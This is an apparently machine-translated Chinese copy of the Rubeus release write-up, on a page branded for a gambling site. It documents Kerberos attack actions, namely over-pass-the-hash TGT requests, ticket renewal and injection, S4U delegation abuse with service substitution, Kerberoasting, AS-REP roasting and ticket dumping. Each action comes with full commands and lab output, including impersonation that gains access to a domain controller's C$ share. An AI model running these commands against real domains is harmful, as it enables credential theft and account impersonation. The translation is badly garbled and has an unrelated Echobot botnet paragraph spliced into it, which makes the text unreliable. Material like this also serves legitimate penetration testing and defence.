从Kekeo到Rubeus:高等域渗入之Kerberoast的简化应用详解 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

从Kekeo到Rubeus:高等域渗入之Kerberoast的简化应用详解

申博_安全预警 申博 70次浏览 未收录 0个评论

译者注:本文由丝绸之路翻译,若有毛病,请在文本本文评论处指出,感谢!

关于Rubeus 功用引见可参考:Rubeus酷炫的新功用

Kekeo是继 mikatz 以后 Benjamin Delpy 的另一个大项目,是一个具有一系列优异特征且令人敬畏的代码库。 正如本杰明所说,它位于 Mimikatz 代码库以外,因为我憎恶编写与网络相干的代码; 它在内部运用了一个外部的贸易 ASN. 1库。” 

Kekeo 供应了(功用列表未完成) :

· 能够从用户的哈希 (rc4_hmac/aes128_cts_hmac_sha1/aes256_cts_hmac_sha1)要求票证授与票证(TGT) ,并将要求的 TGT 运用于当前登录会话。 这为 Mimikatz ”over-pass-the-hash” 供应了一个替代计划,该计划不操纵 LSASS 的内存,也不须要治理特权

· 从现有的 TGT 要求效劳票证的才能

· 我所晓得的除了 Impacket 以外唯一完成S4U 束缚委派滥用(包含 sname 替代)的东西。 

· 滥用智能卡的功用,我还没有完整明白🙂

· 其他更多的功用!

那末,为何渗入测试行业没有像 Mimikatz 那样在一样的程度上拥抱 Kekeo 呢?

 从Kekeo到Rubeus:高等域渗入之Kerberoast的简化应用详解

https://twitter.com/gentilkiwi/status/1013914776043442177

个中一部份原因是其滥用的性子更加玄妙,但我以为另有别的两个主要原因。 起首,Kekeo 不能很好地处置惩罚现有的 PE 加载器。 我尝试让代码库运用 Invoke-ReflectivePEInjection 以及@subtee .NET PE loader,但我不是每次都胜利。 我疑心有其他在这方面比我晓得得更多,从而能够让它一般事情,但我确切没有碰到每次都胜利的状况。

其次,也是相干的,Kekeo 须要一个贸易 ASN. 1库。 ASN. 1 Kerberos 通讯中运用的编码计划,其他许多地方也是云云。 这意味着,如果没有该库的贸易许可,在 Kekeo 修正任何东西都异常难题,因而大多数平安研讨人员只能现实地运用 Kekeo 的预编译宣布二进制文件。 这些极可能会被 AV 标记,再加上前面提到的修正限定和 PE 加载器不容易运用的题目,致使大多数人已pass 掉了 Kekeo 真不幸。

本日我宣布了 Rubeus,我用 C# 从新完成了 Kekeo 的部份(不是悉数)功用,这只是一个最先。 为了更好地明白全部体系,我一向想更深切地研讨 Kerberos 的构造和交流历程,而这个项目为直接参与供应了圆满的托言。 须要明白的是: 这些手艺和完成的发起者是本杰明,这只是在另一种语言中的从新完成。 代码库还自创了本杰明的好搭档文森特(Vincent LE TOUX),他的不为人知的  MakeMeEnterpriseAdmin 项目供应了一些很棒的与 C# LSA 相干的功用,为我节省了大批的时候。 异常感谢本杰明和文森特首创了这一范畴,并供应了庞大的代码基本事情没有他们的事情,这个项目相对不会存在。

只管他们已有很好的例子,我照样要说,这是我做过的最具手艺应战性的项目之一。 我运用的 ASN. 1库是原始的库,这意味着每一个 Kerberos 构造或多或少都必需手工完成。 关于那些愿望深切研讨 Kerberos 构造或 ASN. 1剖析的人,我唯一的正告是“Here be dragons”(出自《神探夏洛克》)

如今让我们进入正题吧!

Rubeus

Rubeus (以鲁伯斯 · 海格的名字定名,他不得不为本身长三个头的狗辩解) C# 版本3.0.NET 3.5)兼容的东西,以便在流量和主机级别上操纵 Kerberos 的种种组件。 它运用了一个来自 Thomas Pornin  的名为 DDer C# ASN. 1剖析/编码库,该库是带有相似于 MIT-like”的许可证宣布的。 正如前面提到的,Kerberos 流量运用 ASN. 1编码来处置惩罚流量,而且找到一个可用的(最小的) C# ASN. 1库是一个庞大的应战。 异常感谢 Thomas 编写的清洁又稳固的代码!

Rubeus 有一系列能够运转的操纵和敕令。 如果没有供应参数,则显现以下协助菜单:

______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


  Rubeus usage:

    Retrieve a TGT based on a user hash, optionally applying to a specific LUID or creating a /netonly process to apply the ticket to:
        Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]

    Renew a TGT, optionally autorenewing the ticket up to its renew-till limit:
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]

    Perform S4U constrained delegation abuse:
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]

    Submit a TGT, optionally targeting a specific LUID (if elevated):
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
        Rubeus.exe purge [/luid:LOGINID]

    Parse and describe a ticket (service ticket or TGT):
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>

    Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]

    Perform Kerberoasting:
        Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]

    Perform Kerberoasting with alternate credentials:
        Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]

    Perform AS-REP "roasting" for users without preauth:
        Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]

    Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
        Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]

    Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:
        Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]

    Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
        Rubeus.exe harvest [/interval:MINUTES]


  NOTE: Base64 ticket blobs can be decoded with :

      [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

接下来,我将遍历每一个功用,诠释该功用的操纵用例和 opsec 注重事项,以及演示一个或多个例子。

别的,如上所示,除非指定了 /ptt 选项,不然 Rubeus 将以列包裹的 base64 编码的数据块的情势输出票证。 运用这些数据块的最简朴的要领是将它们复制到 sublime VS Code 之类的编辑器中,然后对”\n”实行正则搜刮或替代,将一切内容放到一行中。 然后,你能够将 base64 编码的票证数据块通报给其他 Rubeus 功用,或许运用以下 PowerShell 敕令轻松地将它们写入磁盘:

[IO.File]::WriteAllBytes(“ticket.kirbi”, [Convert]::FromBase64String(“aaBASE64bd…”))

功用引见之asktgt

asktgt 操纵将为指定的用户和加密密钥(/rc4 /aes256)构建原始的 AS-REQ (TGT 要求)流量。如果没有指定 /domain,则提取计算机的当前域,如果没有指定 /dc,则运用 DsGetDcName对体系的当前域控制器实行雷同的操纵。 如果身份验证胜利,则剖析天生的 AS-REP KRB-CRED (a.kirbi 文件,个中包含用户的 TGT) 作为 base64 编码后的数据块输出。/ptt 标志将实行通报票证(pass-the-ticket)并将天生的 Kerberos 凭据运用于当前登录会话,而 /luid:X 标志将票证运用于指定的登录会话(须要提拔权限) 。如果 /createnetonly:X 被指定,则CreateProcessWithLogonW() 用于建立一个新的隐蔽历程(除非指定 /show) ,其 SECURITY_LOGON_TYPE 9 (NewCredentials) ,相称于 runas /netonly 然后将要求的票证运用于这个新的登录会话。

在操纵上,这供应了 Mimikatz sekurlsa::pth 敕令的替代计划,该敕令启动了一个假造的登录会话或历程,并将供应的哈希修补到内存中,以启动底层的票证交流历程。 这个历程连接到 LSASS 并操纵它的一些内存,这多是 EDR 的一个检测目的,而且这个操纵也须要治理接见权限。

在我们的示例中(或许运用 Kekeo  tgt::ask 模块) ,因为我们只是将原始的 Kerberos 通讯发送到当前或指定的域控制器效劳器,所以主机上不须要提拔的特权。关于要求 TGT 的用户,我们只须要准确的 rc4_hmac (/rc4) aes256_cts_hmac_sha1(/aes256)哈希即可。

别的,别的一个要注重的 opsec : 一次只能将一个 TGT 运用于当前登录会话,因而当运用 /ptt 选项运用新票证时,将消灭之前的 TGT 有个解决计划是运用 /createnetonly:X 参数,或许要求票证并将其运用于运用 ptt /luid:X 的另一个登录会话。

c:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.0.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
    ...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!


C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:\Windows\System32\cmd.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4988
[+] LUID            : 6241024

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Target LUID : 6241024
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 232 bytes
[*] Received 1405 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFFjCCBRKgAwIB...(snip)...

[*] Action: Import Ticket
[*] Target LUID: 0x5f3b00
[+] Ticket successfully imported!

如果将票证导入当前登录会话时没有指定 /ptt 功用,则能够运用 Rubeus ptt 敕令(见本文的文档) Mimikatz kerberos::ptt 功用或 Cobalt Strike kerberos_ticket_use在后续运用票证。

注重:/luid /createnetonly 参数须要提拔权限才可运用!

功用引见之renew

大多数域默许的 Kerberos 策略为 TGT 供应了十个小时的生命周期和为期七天的更新窗口。 那末,这终究意味着什么呢?

为用户导入到 LSASS 中的票证不仅仅是 TGT,另有 KRB-CRED 构造体(Mimikatz 语言中的 .kirbi 文件) ,个中包含用户的 TGT (运用 Kerberos 效劳署名密钥 krbtgt 加密)和一个 EncKrbCredPart ,个中包含一个或多个 KrbCredInfo 构造体的序列。 这些终究构造包含了 TGT 要求返回的会话密钥(AS-REQ/AS-REP) 当要求分外资本时,此会话密钥与不透明的 TGT 数据块一同运用。 会话密钥只适用于(默许状况下)十个小时的生存期,然则 TGT 能够更新最多七天(默许状况下) ,以吸收新的会话密钥,因而能够运用 KRB-CRED 构造。

所以如果你有一个 .kirbi 文件(或许相干的 Rubeus base64 编码数据块)在其十小时的有效期内,而且在其七天的续签窗口内,你能够运用 Kekeo Rubeus 更新 TGT 从新启动十小时的窗口并延伸凭据的有效期。

续订操纵将运用指定的 /ticket:X 供应的原始 TGS-REQTGS-REP TGT 构建或剖析续订交流。此值能够是 base64 编码后的 .kirbi 文件内容或指定一个磁盘上存在的 .kirbi 文件。 如果没有指定 /dc,计算机的当前域控制器将被提取并用作更新流量的目的。 /ptt 标志将实行通报票证(pass-the-ticket)并将天生的 Kerberos 凭据运用于当前登录会话。

c:\Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)...

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.0.0

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1500 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
    ...(snip)...

如果你愿望自动续订票证,直到到达票证的续订限定,则只需运用 /autorenewed 参数:

C:\Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: Auto-Renew TGT


[*] User       : [email protected]
[*] endtime    : 9/24/2018 3:34:05 AM
[*] renew-till : 9/30/2018 10:34:05 PM
[*] Sleeping for 165 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\harmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 1370 bytes
[*] Received 1378 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

      doIFFjCCBRKg...(snip)...


[*] User       : [email protected]
[*] endtime    : 9/24/2018 8:03:55 AM
[*] renew-till : 9/30/2018 10:34:05 PM
[*] Sleeping for 269 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected][*] Renewing TGT for [email protected]

为了更进一步,请检察 Rubeus 的收割(harvest参数)功用,它将收割体系上的 TGT 并自动更新一切 TGT,直到到达它们的更新窗口。

功用引见之S4U

Mirai变种Echobot僵尸网络有26个漏洞利用

2019年6月,Unit 42研究人员分析了攻击iot设备加入8个漏洞利用的Mirai变种。近期,研究人员发现Echobot僵尸网络用来传播的漏洞利用数量增加到26个。而且大多数漏洞利用的代码主要是用于未进行安全补丁的IoT设备,但企业级应用Oracle WebLogic和VMware SD-Wan也是攻击的目标。 Echobot僵尸网络是基于Mirai恶意软件的,据统计,自Mirai源码泄露后,有上百个基于Mirai的僵尸网络变种。6月初,Unit42研究人员分析发现该Mirai变种中新加入了8个漏洞,漏洞利用的总个数增加到18个。 IoT设备是主要攻击目标 Akamai安全研究人员Larry Cashdollar分析发现新版本的Echobot僵尸网络又新加入了8个漏洞利用来帮助传播。加上之前的18个,目前一共有26个不同的漏洞利用被用于僵尸网络的传播。这些漏洞利用主要是各类联网设备的知名命令执行漏洞。

束缚委派是一个很难深切诠释的话题,纵然写一个段落也不能很好地诠释这个题目。 要相识更多的背景学问,请检察我写的 S4U2Pwnage 文章和相干资本。这个 Rubeus 操纵与 Kekeo tgs::s4u 功用险些完整雷同。 束缚委派的设置如今也是 BloodHound 2.0 网络的一个上风

然则作为一个 tl;dr互联网俚语,意为:内容太长,不要浏览哦),如果用户或计算机帐户在其msds-allowedToDelegateto 字段中设置了效劳主体名(SPN) ,而进击者能够破解该用户或计算机帐户的哈希,那末进击者能够假装是目的主机上的任何效劳的任何域用户。

要滥用这个 TTP,起首须要为设置了束缚委派的帐户供应一个有效的 TGT/KRB-CRED 文件。 这能够经由过程 asktgt 操纵完成,只需该帐户的 NTLM/RC4 aes256_cts_hmac_sha1 哈希即可。 然后经由过程 /ticket (一样,能够是 base64 编码后的数据块或磁盘上的票证文件)将票证供应给 s4u 操纵,同时供应一个 必需的 impersonateuser:X 冒充为帐户的 msds-allowedToDelegateTo 字段中设置的 msdsspn:SERVICE/SERVERSPN /dc /ptt 参数的功用与前面的操纵雷同。

/altservice参数利用了  Alberto Solino 的严重发明,即在 KRB-CRED 文件中未庇护效劳称号(sname) ,只庇护效劳器称号。 这许可我们在发生的 KRB-CRED (.kirbi) 文件中替代任何我们想要的效劳称号。

c:\Temp\tickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[*] base64(ticket.kirbi):

      doIE+jCCBPagAwIBBaE...(snip)...

c:\Temp\tickets>Rubeus.exe s4u /ticket:C:\Temp\Tickets\patsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*]   Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'ldap/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):

      doIGujCCBragAwIBBaEDAgE...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

或许,与供应 /ticket相反,能够运用 /user:X /rc4:X   /aes256:X哈希范例(/domain:X 可选)相似于 asktgt 操纵,起首为 /user要求设置了束缚委派的 TGT,然后用于 s4u 交流。

C:\Temp\tickets>dir \\primary.testlab.local\C$
The user name or password is incorrect.

C:\Temp\tickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE+jCCBPagAwIBBaEDAg...(snip)...

[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*]   Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):

      doIGujCCBragAwIBBaE...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Temp\tickets>dir \\primary.testlab.local\C$
 Volume in drive \\primary.testlab.local\C$ has no label.
 Volume Serial Number is A48B-4D68

 Directory of \\primary.testlab.local\C$

03/05/2017  05:36 PM    <DIR>          inetpub
08/22/2013  08:52 AM    <DIR>          PerfLogs
04/15/2017  06:25 PM    <DIR>          profiles
08/28/2018  12:51 PM    <DIR>          Program Files
08/28/2018  12:51 PM    <DIR>          Program Files (x86)
08/23/2018  06:47 PM    <DIR>          Temp
08/23/2018  04:52 PM    <DIR>          Users
08/23/2018  06:48 PM    <DIR>          Windows
               8 Dir(s)  40,679,706,624 bytes free

功用引见之ptt

Rubeus ptt 敕令相称简朴: 它将为当前登录会话提交票证(TGT 或效劳票证 .kirbi),运用带有 KERB_SUBMIT_TKT_REQUEST音讯的 LsaCallAuthenticationPackage() API(如果已特权提拔了) /luid:X指定的登录会话。 这和 Mimikatz kerberos::ptt  的功用雷同。 与其他 Rubeus /ticket:X参数一样,该值能够是 .kirbi 文件或一个在磁盘上存在的 .kirbi 文件的途径。

c:\Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)...

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.0.0


[*] Action: Import Ticket
[+] Ticket successfully imported!

提示一下,登录会话一次只能运用一个 TGT 解决计划是运用 createnetonly 操纵启动登录范例是9的历程,并运用  /luid:X 参数将票证运用于特定的登录 ID

注重:/luid 参数须要特权提拔!

功用引见之purge

purge操纵将从当前登录会话中消灭一切的 Kerberos 票证,或许(如果已特权提拔了)消灭 /luid:X 指定的登录会话中的一切 Kerberos 票证。这与 Mimikatz Kekeo kerberos::purge 功用或 Cobalt Strike kerberos_ticket_purge功用雷同。

C:\Temp\tickets>Rubeus.exe purge

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Purge Tickets
[+] Tickets successfully purged!

C:\Temp\tickets>Rubeus.exe purge /luid:34008685

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Purge Tickets
[*] Target LUID: 0x206ee6d
[+] Tickets successfully purged!

注重:/luid 参数须要特权提拔!

功用引见之describe

有时候你想晓得一个特定的 .kirbi 文件中的 Kerberos 信托细节。 describe 行动猎取 /ticket:X的值 (TGT 或效劳票证) 并剖析该值后形貌票证的值。与其他的 /ticket:X参数一样,该值能够是 base64 编码后的 .kirbi 文件内容或是一个在磁盘上存在的  .kirbi 文件的途径。

c:\Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)...

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Display Ticket

  UserName              :  dfm.a
  UserRealm             :  TESTLAB.LOCAL
  ServiceName           :  krbtgt
  ServiceRealm          :  TESTLAB.LOCAL
  StartTime             :  9/17/2018 6:51:00 PM
  EndTime               :  9/17/2018 11:51:00 PM
  RenewTill             :  9/24/2018 4:22:59 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  2Bpbt6YnV5PFdY7YTo2hyQ==

功用引见之createnetonly

createnetonly 操纵将运用 CreateProcessWithLogonW()  API 建立一个新的隐蔽历程(除非指定了 /show) ,其 SECURITY_LOGON_TYPE9(NewCredentials) ,相称于 runas /netonly,并返回历程 ID LUID (登录会话 ID) 然后,能够运用这个历程和 ptt /luid:X  参数运用特定的 Kerberos 票证,假定已特权提拔了的话。 这能够防备在当前登录会话中删除现有的 TGT

C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe"

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 9060
[+] LUID            : 6290874

功用引见之kerberoast

kerberoast 操纵庖代了 SharpRoast  项目的功用。 SharpRoast 相似,此操纵运用 KerberosRequestorSecurityToken.GetRequest Method()要领,该要领由@machosec  供应给 PowerView,以要求恰当的效劳票证。 SharpRoast 差别,此操纵如今对效果构造实行恰当的 ASN. 1剖析,而不是运用 janky regex.

在没有其他参数的状况下,当前域中设置有 SPN 的一切用户帐户都将实行 kerberoast 进击。/spn:X 参数只会对指定的 SPN 实行 kerberoast 进击,/user:X 参数会对指定的用户实行  kerberoast 进击,而 /ou:X  参数会对指定的 OU 中的用户实行  kerberoast 进击。 别的,如果你愿望为 kerberoast 进击运用备用域凭据,能够运用 /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD 指定凭据。

c:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: Kerberoasting

[*] SamAccountName         : testuser2
[*] DistinguishedName      : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName   : service/host
[*] Hash                   : $krb5tgs$5$*$testlab.local$service/host*$95160F02CA8EB...(snip)...

功用引见之asreproast

asreproast操纵庖代了 ASREPRoast  项目,个中实行的操纵与(大型) BouncyCastle  库相似。 如果域用户没有启用 Kerberos 预身份验证,则能够胜利地为用户要求 AS-REP,而且能够离线破解构造的一个组件。

/user:X 参数是必需的,而 /domain /dc 参数是可选的。 如果没有指定 /domain /dcRubeus 将像其他操纵一样运用体系的默许值。 ASREPRoast  项目有一个与 JohnTheRipper 兼容的 哈希范例破解模块。

c:\Rubeus>Rubeus.exe asreproast /user:dfm.a

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: AS-REP Roasting

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      [email protected]:F7310EA341128...(snip)...

功用引见之dump

如果在提拔了特权的高低文中,dump 操纵将从内存中提取当前的 TGT 和效劳票证。提掏出的票证能够经由过程 /service (关于 TGT 能够运用 /service:krbtgt)或登录ID (/luid:X 参数)过滤。 KRB-CRED 文件(.kirbis)是以 base64 数据块的情势输出的,能够运用 ptt 功用、 Mimikatz kerberos::ptt 功用或 Cobalt Strike kerberos_ticket_use来替代运用。

c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0


[*] Action: Dump Kerberos Ticket Data (All Users)

[*] Target LUID     : 0x596f6
[*] Target service  : krbtgt


  UserName                 : harmj0y
  Domain                   : TESTLAB
  LogonId                  : 366326
  UserSID                  : S-1-5-21-883232822-274137685-4173207997-1111
  AuthenticationPackage    : Kerberos
  LogonType                : Interactive
  LogonTime                : 9/17/2018 9:05:26 AM
  LogonServer              : PRIMARY
  LogonServerDNSDomain     : TESTLAB.LOCAL
  UserPrincipalName        : [email protected]

    [*] Enumerated 1 ticket(s):

    ServiceName              : krbtgt
    TargetName               : krbtgt
    ClientName               : harmj0y
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : aes256_cts_hmac_sha1
    Base64SessionKey         : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY=
